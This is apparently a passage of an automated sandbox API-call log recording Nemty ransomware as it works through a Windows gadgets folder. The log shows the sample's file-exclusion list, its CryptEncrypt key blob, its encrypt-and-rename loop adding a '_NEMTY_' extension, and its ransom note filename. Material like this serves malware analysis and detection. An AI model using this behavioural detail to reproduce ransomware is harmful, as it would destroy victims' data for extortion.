(normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png._nemty_kgobjgd_")) returned 0 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0125.376] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84303d48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84303d48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="..") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="...") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="windows") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="$RECYCLE.BIN") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="rsa") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="NTDETECT.COM") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="ntldr") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="MSDOS.SYS") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="IO.SYS") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="boot.ini") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="boot.ini") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="AUTOEXEC.BAT") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="ntuser.dat") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="desktop.ini") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="CONFIG.SYS") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="RECYCLER") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="BOOTSECT.BAK") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="bootmgr") returned 1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="programdata") returned -1 [0125.376] lstrcmpiW (lpString1="glass_lrg.png", lpString2="appdata") returned 1 [0125.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0125.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass_lrg.png", lpUsedDefaultChar=0x0) returned 13 [0125.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0125.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass_lrg.png", lpUsedDefaultChar=0x0) returned 13 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0125.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass_lrg.png", lpUsedDefaultChar=0x0) returned 13 [0125.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0125.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glass_lrg.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glass_lrg.png", lpUsedDefaultChar=0x0) returned 13 [0125.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0125.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0125.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0125.377] Sleep (dwMilliseconds=0x5) [0125.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe62b0f0, dwHighDateTime=0x1d561e7)) [0125.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe62b0f0, dwHighDateTime=0x1d561e7)) [0125.391] GetLastError () returned 0x5 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.391] GetLastError () returned 0x5 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0125.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0125.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0125.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="4lDRanyvAQiAdLnjdJ3aMYNkrZpjdppwOuZC/vsAO1b3fxdZizSjYLQZW4pYR84w\r\n4vyA0NpybjmAA8aeSXKdtl0y0KOgIpFDp8mrGv1Gyln/C7GJCtuHXN1lDGH9U/HI\r\n1b81WLmLavBn4bq5KzST9MeglYSo+q2YamSrjZk9e4CGsDFaHe1miuVQi2tZDpqj\r\nN/5nLHwbqhNx/fbyvYhPB9fR/AEQUE2VyEoVufIddHXp+a7hmVItLyW3RZLFSb1B\r\n2DfksyxroCvo3wRPcrymr3YX4r5bn2/+5ICKIQP3cz3ynhG9VItD39FYk92mPjrn\r\nUm02mEU6bucaRM4qWFZAQw==\r\n", pcchString=0x653e91c) returned 1 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0125.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0125.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.391] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.400] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0125.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.523] CloseHandle (hObject=0xffffffff) returned 0 [0125.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0125.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0125.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png._nemty_kgobjgd_")) returned 0 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0125.523] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda905b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfda905b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfda905b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0125.523] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0125.523] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0125.523] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0125.523] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 